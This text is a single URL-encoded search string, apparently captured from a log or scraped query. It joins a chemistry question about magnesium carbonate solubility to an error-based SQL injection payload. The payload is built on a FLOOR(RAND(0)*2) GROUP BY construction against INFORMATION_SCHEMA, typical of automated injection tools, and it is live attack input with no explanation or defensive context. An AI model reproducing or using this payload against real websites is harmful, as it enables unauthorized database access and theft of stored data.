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Molar+solubility+of+magnesium+carbonate+in+water')+AND+(SELECT+4455+FROM(SELECT+COUNT(*),CONCAT(0x716b767671,(SELECT+(ELT(4455=4455,1))),0x716a6b7871,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+AND+('Tgly'='Tgly



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